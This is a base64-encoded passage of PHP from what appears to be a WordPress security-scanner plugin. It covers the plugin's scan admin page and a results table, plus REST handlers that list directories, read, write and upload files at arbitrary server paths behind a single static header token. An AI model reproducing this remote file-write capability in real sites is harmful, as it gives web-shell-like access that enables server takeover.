PiB0cnVlLAogICAgICAgICAgICBdXSk7CiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjdHgpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPT0gZmFsc2UpIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIC8vIOKUgOKUgCBBZG1pbiBwYWdlIChUb29scyDihpIgU0VSVkVSLVdBTEwpIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZW5kZXJQYWdlKCk6IHZvaWQgewogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbignbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwoKICAgICAgICAkc2NhbiAgPSBudWxsOwogICAgICAgICRtb2RlICA9IHNhbml0aXplX3RleHRfZmllbGQoJF9HRVRbJ3N3X21vZGUnXSA/PyAnJyk7CiAgICAgICAgJG5vbmNlID0gJF9HRVRbJ193cG5vbmNlJ10gPz8gJyc7CgogICAgICAgIGlmICgkbW9kZSAmJiB3cF92ZXJpZnlfbm9uY2UoJG5vbmNlLCAnc3dfc2Nhbl8nIC4gJG1vZGUpKSB7CiAgICAgICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigkbW9kZSk7CiAgICAgICAgfQoKICAgICAgICAkcXVpY2tVcmwgPSB3cF9ub25jZV91cmwoCiAgICAgICAgICAgIGFkbWluX3VybCgndG9vbHMucGhwP3BhZ2U9c3ctc2Nhbm5lciZzd19tb2RlPXF1aWNrJyksICdzd19zY2FuX3F1aWNrJyk7CiAgICAgICAgJGZ1bGxVcmwgID0gd3Bfbm9uY2VfdXJsKAogICAgICAgICAgICBhZG1pbl91cmwoJ3Rvb2xzLnBocD9wYWdlPXN3LXNjYW5uZXImc3dfbW9kZT1mdWxsJyksICAnc3dfc2Nhbl9mdWxsJyk7CiAgICAgICAgPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwIj4KICAgICAgICA8aDE+JiM5NjMyOyBTRVJWRVItV0FMTCBTY2FubmVyCiAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOjEzcHg7Y29sb3I6Izk5OTsiPnY8Pz0gU1dfVkVSU0lPTiA/Pjwvc3Bhbj4KICAgICAgICA8L2gxPgoKICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjEwcHg7ZmxleC13cmFwOndyYXA7bWFyZ2luLWJvdHRvbToyNHB4O2FsaWduLWl0ZW1zOmNlbnRlciI+CiAgICAgICAgICA8YSBocmVmPSI8Pz0gZXNjX3VybCgkcXVpY2tVcmwpID8+IiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IGJ1dHRvbi1oZXJvIj4KICAgICAgICAgICAgJiM5NjU0OyBRdWljayBTY2FuICh1cGxvYWRzICsgcGx1Z2lucykKICAgICAgICAgIDwvYT4KICAgICAgICAgIDxhIGhyZWY9Ijw/PSBlc2NfdXJsKCRmdWxsVXJsKSA/PiIKICAgICAgICAgICAgIGNsYXNzPSJidXR0b24gYnV0dG9uLXNlY29uZGFyeSBidXR0b24taGVybyIKICAgICAgICAgICAgIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdGdWxsIHNjYW4gbWF5IHRha2UgMzDigJM5MHMuIENvbnRpbnVlPycpIj4KICAgICAgICAgICAgJiM5NjU0OyBGdWxsIFNjYW4gKGVudGlyZSB3cC1jb250ZW50KQogICAgICAgICAgPC9hPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8P3BocCBpZiAoJHNjYW4gIT09IG51bGwpOiA/PgogICAgICAgICAgPD9waHAgc2VsZjo6cmVuZGVyUmVzdWx0cygkc2Nhbik7ID8+CiAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgIDxwIHN0eWxlPSJjb2xvcjojOTk5O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZSI+CiAgICAgICAgICAgIENsaWNrICJRdWljayBTY2FuIiB0byBjaGVjayB1cGxvYWRzLCBwbHVnaW5zLCBtdS1wbHVnaW5zIGFuZCB0aGVtZXMuPGJyPgogICAgICAgICAgICAiRnVsbCBTY2FuIiBjaGVja3MgdGhlIGVudGlyZSB3cC1jb250ZW50IGRpcmVjdG9yeSAoNDAwMCsgZmlsZXMsIG1heSB0YWtlIH4xIG1pbnV0ZSkuCiAgICAgICAgICA8L3A+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiByZW5kZXJSZXN1bHRzKGFycmF5ICRzY2FuKTogdm9pZCB7CiAgICAgICAgJHJlc3VsdHMgID0gJHNjYW5bJ3Jlc3VsdHMnXSA/PyBbXTsKICAgICAgICAkc2Nhbm5lZCAgPSAkc2Nhblsnc2Nhbm5lZCddID8/IDA7CiAgICAgICAgJHNjYW5UaW1lID0gaXNzZXQoJHNjYW5bJ3RpbWUnXSkgPyBkYXRlKCdZLW0tZCBIOmk6cycsICRzY2FuWyd0aW1lJ10pIDogJz8nOwoKICAgICAgICAkc2V2Q29sb3IgPSBbJ0NSSVRJQ0FMJz0+JyNmODUxNDknLCdISUdIJz0+JyNkMjk5MjInLCdNRURJVU0nPT4nIzU4YTZmZicsJ0xPVyc9PicjM2ZiOTUwJ107CiAgICAgICAgJGNvdW50cyAgID0gYXJyYXlfY291bnRfdmFsdWVzKGFycmF5X2NvbHVtbigkcmVzdWx0cywgJ3NldicpKTsKCiAgICAgICAgZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojMTYxYjIyO2JvcmRlcjoxcHggc29saWQgIzMwMzYzZDtib3JkZXItcmFkaXVzOjhweDtwYWRkaW5nOjE2cHg7CiAgICAgICAgICBtYXJnaW4tYm90dG9tOjIwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlIj4nOwogICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjojOGI5NDllO21hcmdpbi1ib3R0b206MTJweCI+TGFzdCBzY2FuOiAnIC4gZXNjX2h0bWwoJHNjYW5UaW1lKSAuCiAgICAgICAgICAgICAnICZuYnNwO3wmbmJzcDsgRmlsZXMgc2Nhbm5lZDogJyAuICRzY2FubmVkIC4KICAgICAgICAgICAgICcgJm5ic3A7fCZuYnNwOyBGb3VuZDogJyAuIGNvdW50KCRyZXN1bHRzKSAuICc8L3A+JzsKICAgICAgICBmb3JlYWNoIChbJ0NSSVRJQ0FMJz0+MCwnSElHSCc9PjAsJ01FRElVTSc9PjAsJ0xPVyc9PjBdIGFzICRzID0+ICRfKSB7CiAgICAgICAgICAgICRuID0gJGNvdW50c1skc10gPz8gMDsKICAgICAgICAgICAgaWYgKCRuKSBwcmludGYoJzxzcGFuIHN0eWxlPSJiYWNrZ3JvdW5kOiVzMjI7Y29sb3I6JXM7cGFkZGluZzozcHggMTBweDsKICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOjEycHg7bWFyZ2luLXJpZ2h0OjhweDtmb250LXNpemU6MTJweCI+JXM6ICVkPC9zcGFuPicsCiAgICAgICAgICAgICAgJHNldkNvbG9yWyRzXSwgJHNldkNvbG9yWyRzXSwgJHMsICRuKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC9kaXY+JzsKCiAgICAgICAgaWYgKGVtcHR5KCRyZXN1bHRzKSkgewogICAgICAgICAgICBlY2hvICc8ZGl2IHN0eWxlPSJwYWRkaW5nOjI0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6IzNmYjk1MDtmb250LWZhbWlseTptb25vc3BhY2UiPgogICAgICAgICAgICAgICYjMTAwMDM7IE5vIHN1c3BpY2lvdXMgZmlsZXMgZm91bmQ8L2Rpdj4nOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICB1c29ydCgkcmVzdWx0cywgZnVuY3Rpb24oJGEsJGIpIHsgcmV0dXJuICRiWydzY29yZSddIC0gJGFbJ3Njb3JlJ107IH0pOwoKICAgICAgICBlY2hvICc8dGFibGUgY2xhc3M9IndwLWxpc3QtdGFibGUgd2lkZWZhdCBmaXhlZCBzdHJpcGVkIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMnB4Ij4nOwogICAgICAgIGVjaG8gJzx0aGVhZD48dHI+CiAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjQwJSI+RmlsZTwvdGg+CiAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjEwJSI+U2V2ZXJpdHk8L3RoPgogICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDo4JSI+U2NvcmU8L3RoPgogICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDo4JSI+RW50cm9weTwvdGg+CiAgICAgICAgICA8dGg+UnVsZXM8L3RoPgogICAgICAgIDwvdHI+PC90aGVhZD48dGJvZHk+JzsKCiAgICAgICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJHIpIHsKICAgICAgICAgICAgJGMgICAgID0gJHNldkNvbG9yWyRyWydzZXYnXV0gPz8gJyNjY2MnOwogICAgICAgICAgICAkbXRpbWUgPSAkclsnbXRpbWUnXSA/IGRhdGUoJ20vZCBIOmknLCAkclsnbXRpbWUnXSkgOiAnJzsKICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgIHByaW50ZignPHRkPjxzdHJvbmcgc3R5bGU9ImNvbG9yOiM1OGE2ZmYiPiVzPC9zdHJvbmc+PGJyPgogICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjojOGI5NDllIj4lcyAmbmJzcDsgJXM8L3NwYW4+PC90ZD4nLAogICAgICAgICAgICAgIGVzY19odG1sKCRyWydwYXRoJ10pLAogICAgICAgICAgICAgIGVzY19odG1sKHNpemVfZm9ybWF0KCRyWydzaXplJ10pKSwKICAgICAgICAgICAgICBlc2NfaHRtbCgkbXRpbWUpKTsKICAgICAgICAgICAgcHJpbnRmKCc8dGQ+PHNwYW4gc3R5bGU9ImJhY2tncm91bmQ6JXMyMjtjb2xvcjolcztwYWRkaW5nOjJweCA4cHg7Ym9yZGVyLXJhZGl1czoxMHB4Ij4lczwvc3Bhbj48L3RkPicsCiAgICAgICAgICAgICAgJGMsICRjLCBlc2NfaHRtbCgkclsnc2V2J10pKTsKICAgICAgICAgICAgcHJpbnRmKCc8dGQgc3R5bGU9ImNvbG9yOiVzO2ZvbnQtd2VpZ2h0OjYwMCI+JWQ8L3RkPicsICRjLCAkclsnc2NvcmUnXSk7CiAgICAgICAgICAgIHByaW50ZignPHRkIHN0eWxlPSJjb2xvcjojOGI5NDllIj4lLjJmPC90ZD4nLCAkclsnZW50cm9weSddKTsKICAgICAgICAgICAgZWNobyAnPHRkIHN0eWxlPSJjb2xvcjojOGI5NDllIj4nOwogICAgICAgICAgICBmb3JlYWNoICgkclsnbWF0Y2hlcyddIGFzICRtKSB7CiAgICAgICAgICAgICAgICBwcmludGYoJzxkZXRhaWxzIHN0eWxlPSJtYXJnaW4tYm90dG9tOjRweCI+PHN1bW1hcnkgc3R5bGU9ImN1cnNvcjpwb2ludGVyO2NvbG9yOiNjOWQxZDkiPiVzPC9zdW1tYXJ5PgogICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6IzhiOTQ5ZSI+JXM8L3NwYW4+CiAgICAgICAgICAgICAgICAgICVzPC9kZXRhaWxzPicsCiAgICAgICAgICAgICAgICAgIGVzY19odG1sKCRtWydydWxlJ10pLAogICAgICAgICAgICAgICAgICBlc2NfaHRtbCgkbVsnZGVzYyddKSwKICAgICAgICAgICAgICAgICAgJG1bJ3NuaXBwZXQnXSA/ICc8Y29kZSBzdHlsZT0iZGlzcGxheTpibG9jaztiYWNrZ3JvdW5kOiMwZDExMTc7cGFkZGluZzo0cHggNnB4OwogICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6NHB4O2JvcmRlci1yYWRpdXM6NHB4O2ZvbnQtc2l6ZToxMXB4O3dvcmQtYnJlYWs6YnJlYWstYWxsIj4nIC4KICAgICAgICAgICAgICAgICAgICBlc2NfaHRtbCgkbVsnc25pcHBldCddKSAuICc8L2NvZGU+JyA6ICcnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC90Ym9keT48L3RhYmxlPic7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlciBoZWxwZXJzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKICAgIC8vIFJldHVybnMgdGhlIEZNIHJvb3Q6IHBhcmVudCBvZiBBQlNQQVRIIChjb3ZlcnMgZG9tYWluLmNvbS1iYWNrdXAsIHN3LWJhY2t1cHMsIGV0Yy4pCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBmbVJvb3QoKTogc3RyaW5nIHsKICAgICAgICByZXR1cm4gZGlybmFtZShydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy9cXCcpKTsKICAgIH0KCiAgICAvLyBXcml0ZSAkY29udGVudCB0byAkcGF0aCB3aXRoIDA2NDQgcGVybWlzc2lvbnMsIHJlbGlhYmx5LgogICAgLy8gT24gc29tZSBob3N0cyAoV1AgRW5naW5lLCBTaXRlR3JvdW5kKSB0aGUgUEhQIHByb2Nlc3MgcnVucyB3aXRoIHVtYXNrIDA3NzcsCiAgICAvLyB3aGljaCBjcmVhdGVzIGZpbGVzIHdpdGggMDAwIHBlcm1pc3Npb25zIGFuZCBtYWtlcyBjaG1vZCgpIGZhaWwgc2lsZW50bHkuCiAgICAvLyBGaXg6IHNldCB1bWFzaygwMTMzKSDihpIgbmV3IGZpbGVzIGdldCAwNjQ0LiBGb3IgZXhpc3RpbmcgMDAwLXBlcm0gZmlsZXMsCiAgICAvLyBkZWxldGUgZmlyc3Qgc28gdGhlIHN1YnNlcXVlbnQgY3JlYXRlIHVzZXMgdGhlIGNvcnJlY3QgdW1hc2suCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzYWZlV3JpdGUoc3RyaW5nICRwYXRoLCBzdHJpbmcgJGNvbnRlbnQpOiBib29sIHsKICAgICAgICAkb2xkID0gdW1hc2soMDEzMyk7IC8vIDA2NjYgJiB+MDEzMyA9IDA2NDQKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpICYmICFpc193cml0YWJsZSgkcGF0aCkpIHsKICAgICAgICAgICAgQHVubGluaygkcGF0aCk7IC8vIHJlbW92ZSBmaWxlIHdpdGggYmFkIHBlcm1pc3Npb25zIGJlZm9yZSByZS1jcmVhdGluZwogICAgICAgIH0KICAgICAgICAkb2sgPSBAZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KSAhPT0gZmFsc2U7CiAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgaWYgKCRvayAmJiAhaXNfcmVhZGFibGUoJHBhdGgpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkcGF0aCwgMDY0NCk7IC8vIGxhc3QtcmVzb3J0IGF0dGVtcHQKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRvazsKICAgIH0KCiAgICAvLyBSZXNvbHZlIGFuIGFyYml0cmFyeSBwYXRoOiBhYnNvbHV0ZSBpZiBzdGFydHMgd2l0aCAnLycsIGVsc2UgcmVsYXRpdmUgdG8gZm1Sb290KCkKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGZtUmVzb2x2ZVBhdGgoc3RyaW5nICRwYXRoKTogc3RyaW5nIHsKICAgICAgICBpZiAoJHBhdGggPT09ICcnIHx8ICRwYXRoID09PSAnLycpIHJldHVybiBzZWxmOjpmbVJvb3QoKTsKICAgICAgICBpZiAoJHBhdGhbMF0gPT09ICcvJykgcmV0dXJuICRwYXRoOyAvLyBhYnNvbHV0ZQogICAgICAgIHJldHVybiBzZWxmOjpmbVJvb3QoKSAuICcvJyAuICRwYXRoOwogICAgfQoKICAgIC8vIOKUgOKUgCBGaWxlIG1hbmFnZXI6IGxpc3QgZGlyZWN0b3J5IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RnNMaXN0KFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgICRkaXIgPSByZWFscGF0aChzZWxmOjpmbVJlc29sdmVQYXRoKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJykpOwogICAgICAgIGlmICghJGRpciB8fCAhaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnaW52YWxpZCBwYXRoJ10sIDQwMCk7CiAgICAgICAgfQoKICAgICAgICAkZW50cmllcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgIGlmICgkZW50cmllcyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3QgcmVhZCBkaXJlY3Rvcnkg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgICRpdGVtcyA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRlbnRyaWVzIGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJGZ1bGwgID0gJGRpciAuICcvJyAuICRuYW1lOwogICAgICAgICAgICAkaXNEaXIgPSBpc19kaXIoJGZ1bGwpOwogICAgICAgICAgICAkaXRlbXNbXSA9IFsKICAgICAgICAgICAgICAgICduYW1lJyAgPT4gJG5hbWUsCiAgICAgICAgICAgICAgICAndHlwZScgID0+ICRpc0RpciA/ICdkaXInIDogJ2ZpbGUnLAogICAgICAgICAgICAgICAgJ3NpemUnICA9PiAkaXNEaXIgPyAwIDogKGludClAZmlsZXNpemUoJGZ1bGwpLAogICAgICAgICAgICAgICAgJ210aW1lJyA9PiAoaW50KUBmaWxlbXRpbWUoJGZ1bGwpLAogICAgICAgICAgICAgICAgJ3BhdGgnICA9PiAkZnVsbCwgLy8gYWJzb2x1dGUgcGF0aAogICAgICAgICAgICBdOwogICAgICAgIH0KICAgICAgICB1c29ydCgkaXRlbXMsIGZ1bmN0aW9uKCRhLCAkYikgewogICAgICAgICAgICBpZiAoJGFbJ3R5cGUnXSAhPT0gJGJbJ3R5cGUnXSkgcmV0dXJuICRhWyd0eXBlJ10gPT09ICdkaXInID8gLTEgOiAxOwogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsncGF0aCcgPT4gJGRpciwgJ2l0ZW1zJyA9PiAkaXRlbXNdKTsKICAgIH0KCiAgICAvLyDilIDilIAgRmlsZSBtYW5hZ2VyOiByZWFkIC8gd3JpdGUgZmlsZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzRmlsZShXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcXVlc3QtPmdldF9tZXRob2QoKSA9PT0gJ0dFVCcpIHsKICAgICAgICAgICAgJHBhdGggPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwYXRoJykgPz8gJyc7CiAgICAgICAgICAgICRmdWxsID0gcmVhbHBhdGgoc2VsZjo6Zm1SZXNvbHZlUGF0aCgkcGF0aCkpOwogICAgICAgICAgICBpZiAoISRmdWxsIHx8ICFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmaWxlIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRzaXplID0gKGludClmaWxlc2l6ZSgkZnVsbCk7CiAgICAgICAgICAgIGlmICgkc2l6ZSA+IDUyNDI4OCkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmaWxlIHRvbyBsYXJnZSAoPjUxMiBLQiknLCAnc2l6ZScgPT4gJHNpemVdLCA0MTMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKTsKICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3QgcmVhZCBmaWxlJ10sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgICAgICdwYXRoJyAgICA9PiAkZnVsbCwKICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAkY29udGVudCwKICAgICAgICAgICAgICAgICdzaXplJyAgICA9PiAkc2l6ZSwKICAgICAgICAgICAgICAgICdtdGltZScgICA9PiAoaW50KWZpbGVtdGltZSgkZnVsbCksCiAgICAgICAgICAgIF0pOwogICAgICAgIH0KCiAgICAgICAgLy8gUFVUIOKAlCB3cml0ZSBmaWxlCiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHBhdGggICAgPSAkYm9keVsncGF0aCddID8/ICcnOwogICAgICAgICRjb250ZW50ID0gJGJvZHlbJ2NvbnRlbnQnXSA/PyBudWxsOwogICAgICAgIGlmICgkY29udGVudCA9PT0gbnVsbCB8fCAkcGF0aCA9PT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdtaXNzaW5nIHBhdGggb3IgY29udGVudCddLCA0MDApOwogICAgICAgIH0KICAgICAgICBpZiAoKCRib2R5WydlbmNvZGluZyddID8/ICcnKSA9PT0gJ2Jhc2U2NCcpIHsKICAgICAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRjb250ZW50LCB0cnVlKTsKICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdpbnZhbGlkIGJhc2U2NCBjb250ZW50J10sIDQwMCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc29sdmVkID0gc2VsZjo6Zm1SZXNvbHZlUGF0aCgkcGF0aCk7CiAgICAgICAgJHBhcmVudFJlYWwgPSByZWFscGF0aChkaXJuYW1lKCRyZXNvbHZlZCkpOwogICAgICAgIGlmICghJHBhcmVudFJlYWwpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdwYXJlbnQgZGlyZWN0b3J5IG5vdCBmb3VuZCddLCA0MDApOwogICAgICAgIH0KICAgICAgICAkZnVsbCA9ICRwYXJlbnRSZWFsIC4gJy8nIC4gYmFzZW5hbWUoJHJlc29sdmVkKTsKICAgICAgICBpZiAoIXNlbGY6OnNhZmVXcml0ZSgkZnVsbCwgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnd3JpdGUgZmFpbGVkIOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KICAgICAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkZnVsbCk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdwYXRoJyA9PiAkZnVsbCwgJ3NpemUnID0+IHN0cmxlbigkY29udGVudCldKTsKICAgIH0KCiAgICAvLyDilIDilIAgRmlsZSBtYW5hZ2VyOiB1cGxvYWQgZmlsZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzVXBsb2FkKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgICAgID0ganNvbl9kZWNvZGUoJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICRkaXIgICAgICA9IHJlYWxwYXRoKHNlbGY6OmZtUmVzb2x2ZVBhdGgoJGJvZHlbJ3BhdGgnXSA/PyAnJykpOwogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRib2R5WydmaWxlbmFtZSddID8/ICcnKTsKICAgICAgICAkY29udGVudCAgPSBpc3NldCgkYm9keVsnY29udGVudCddKSA/IGJhc2U2NF9kZWNvZGUoJGJvZHlbJ2NvbnRlbnQnXSwgdHJ1ZSkgOiBmYWxzZTsKCiAgICAgICAgaWYgKCEkZmlsZW5hbWUgfHwgJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWlzc2luZyBmaWxlbmFtZSBvciBjb250ZW50J10sIDQwMCk7CiAgICAgICAgfQogICAgICAgIGlmICghJGRpciB8fCAhaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAndGFyZ2V0IGRpcmVjdG9yeSBub3QgZm91bmQnXSwgNDAwKTsKICAgICAgICB9CiAgICAgICAgJGZ1bGwgPSAkZGlyIC4gJy8nIC4gJGZpbGVuYW1lOwogICAgICAgIGlmICghc2VsZjo6c2FmZVdyaXRlKCRmdWxsLCAkY29udGVudCkpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd3cml0ZSBmYWlsZWQg4oCUIGNo